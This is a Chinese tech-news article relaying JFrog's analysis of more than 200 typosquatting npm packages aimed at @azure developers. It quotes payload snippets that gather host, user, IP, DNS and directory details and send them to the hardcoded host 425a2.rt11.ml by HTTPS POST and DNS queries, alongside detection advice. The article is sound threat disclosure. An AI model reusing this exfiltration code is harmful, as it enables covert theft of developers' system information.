200 多个 npm 包被攻击，Azure 开发者请注意

整理 | 张仕影
出品 | CSDN（ID：CSDNnews）

近期，JFrog 安全研究团队发现了数百个恶意软件包，这些软件包旨在大规模的 typosquatting （误植域名）攻击中窃取 PII（个人身份信息）。

JFrog 安全研究团队使用 JFrog 平台的自动化工具持续监控流行的开源软件（OSS）存储库，以避免潜在的软件供应链安全威胁，并将发现的漏洞或恶意软件包报告给存储库维护者以及更广泛的社区。

几天前，JFrog 平台的几个自动分析器开始对 npm（node package manager）注册表中的一组软件包发出警报。这组特殊的软件包在几天内稳步增长，截至 3 月 21 日，已从 50 多个软件包增加到了 200 多个软件包。

JFrog 在手动检查了其中一些软件包后，发现这是针对整个 @azure npm 作用域的攻击，攻击者利用自动脚本来创建账户并上传覆盖整个作用域的恶意软件包。目前，JFrog 发现这些软件包的恶意有效载荷主要用于窃取 PII（个人身份信息）。

所幸，整套恶意软件包很快被 npm 维护者发现，所以这些软件包被迅速删除了。

攻击目标与软件供应链攻击方式

攻击者主要攻击的目标为所有使用 @azure 作用域内软件包的 npm 开发者，以及 @azure-rest、@azure-test、@azure-tools 和 @cadl-lang 作用域中的一些包。

攻击者所使用的攻击方法是 typosquatting（误植域名：一种域名抢注形式，常常会导致品牌劫持）——攻击者简单地创建一个新的（恶意的）包，使其名称与现有的 @azure 作用域包相同，但删除了作用域名。

例如，下面是一个合法的 @azure npm 包：

而它的恶意对应者为：

这种恶意攻击针对了至少 218 个包。已被披露包的完整列表发布在 JFrog 的安全研究网站上，并作为本篇文章的附录（详见参考链接的附录A）。

由于一些开发者在安装包时可能会错误地省略 @azure 前缀，因此让攻击者有了可乘之机。例如，开发者可能会错误地运行:

“npm install core-tracing”

而不是正确的命令：

“npm install @azure/core-tracing”

除了 typosquatting（误植域名）攻击方法之外，所有的恶意软件包都有极高的版本号（例如99.10.9），这表明其中存在依赖项混淆攻击。因此，JFrog 猜测，除了基于 typosquatting（误植域名）的常规 npm 用户目标外，攻击者还试图攻击开发者和运行于 Microsoft/Azure 内部网络的设备。不过，JFrog 没有继续研究这个攻击载体，因此这只是一个猜测。

利用自动化模糊攻击来源

根据攻击的规模可以发现，攻击者显然是使用了脚本来上传恶意软件包。另外，攻击者还试图隐藏这些恶意软件包均由同一作者上传的事实，为上传的每个恶意软件包都创建了一个独特的用户名(用随机生成的名字)：

恶意有效载荷的技术分析

如前所述，这些包的恶意有效载荷用于窃取/侦察 PII（个人身份信息）。

一旦软件包被安装，恶意代码就会自动运行，并泄露以下详细信息：

以下目录的列表(非递归)：
C:
D:
/
/home
用户的用户名
用户的主目录
当前的工作目录
所有网络接口的IP地址
已配置的DNS服务器的IP地址
(成功的)攻击包的名称

const td = {p: package,c: __dirname,hd: os.homedir(),hn: os.hostname(),un: os.userInfo().username,dns: JSON.stringify(dns.getServers()),ip: JSON.stringify(gethttpips()),dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
}

这些细节是主要通过两个途径泄露：

HTTPS POST 到硬编码的主机名 —— “425a2.rt11.ml”
DNS查询"<HEXSTR>425a2.rt11.ml"，其中 <HEXSTR> 被替换为已泄露的详细信息，并以十六进制字符串的形式串联在一起。

var hostname = "425a2.rt11.ml";
query_string=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
...
dns.lookup(query_string)

JFrog 怀疑，这种恶意有效载荷要么是为了在发送更牢固的有效载荷之前，对易受攻击的目标进行初步侦察，要么是作为针对 Azure 用户（可能还有微软的开发人员）的 bug（漏洞）赏金猎杀尝试（漏洞赏金是一个组织提供给独立的、有道德的黑客的奖励，用于报告系统中的漏洞）。

该代码还包含一组笨拙的测试，估计是为了确保恶意有效载荷不会在攻击者自己的机器上运行。

function isValid(hostname, path, username, dirs) {if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')) {return false;}...else if (hostname == 'lili-pc') {return false;}...else if (hostname == 'aws-7grara913oid5jsexgkq') {return false;}...else if (hostname == 'instance') {return false;}...return true;
}

作为一名使用目标软件包的 Azure 开发者，应该怎么做？

JFrog 表示， JFrog Xray 的用户是受到保护的，任何在 Xray 中标记的恶意依赖都会被及时删除，所以不会受到这种攻击。

除此之外，开发者还可以通过检查软件包的名称是否以 @azure* 范围开头，以此确保安装的软件包是合法的。

例如，可以通过改变当前目录到开发者想测试的 npm 项目，并运行以下命令来完成：

npm list | grep -f packages.txt

其中 "packages.txt "包含受影响软件包的完整列表（详见参考链接的附录A）。

如果发现任何的返回结果不是以"@azure*"范围开头，那么说明开发者可能已经受到了这种攻击的影响。

结论

幸运的是，由于这些软件包很快就被发现和披露（大约在它们被发布后的2天内），因此它们并没有被大量安装，每个包的平均下载量只有 50 次左右。

npm 的维护者们显然也非常重视安全问题，采取了许多相关措施：为避免将来出现 typosquatting（误植域名），预先阻止特定的软件包名称；对主流软件包的维护者提出双因素认证要求等等。

然而，由于通过 npm 和 PyPI 包存储库容易导致供应链攻击迅速增长，开发者应当增加更多的审查和缓解措施。例如，在创建 npm 用户时添加 CAPTCHA（验证码）机制，使攻击者无法轻易创建任意数量的用户来上传恶意软件包，也更容易识别攻击。除此之外，作为安全软件监管过程的一部分，开发者也应该设置基于 SAST 或 DAST 技术（或最好两者兼有）的自动软件包过滤需求。

参考链接：https://jfrog.com/blog/large-scale-npm-attack-targets-azure-developers-with-malicious-packages/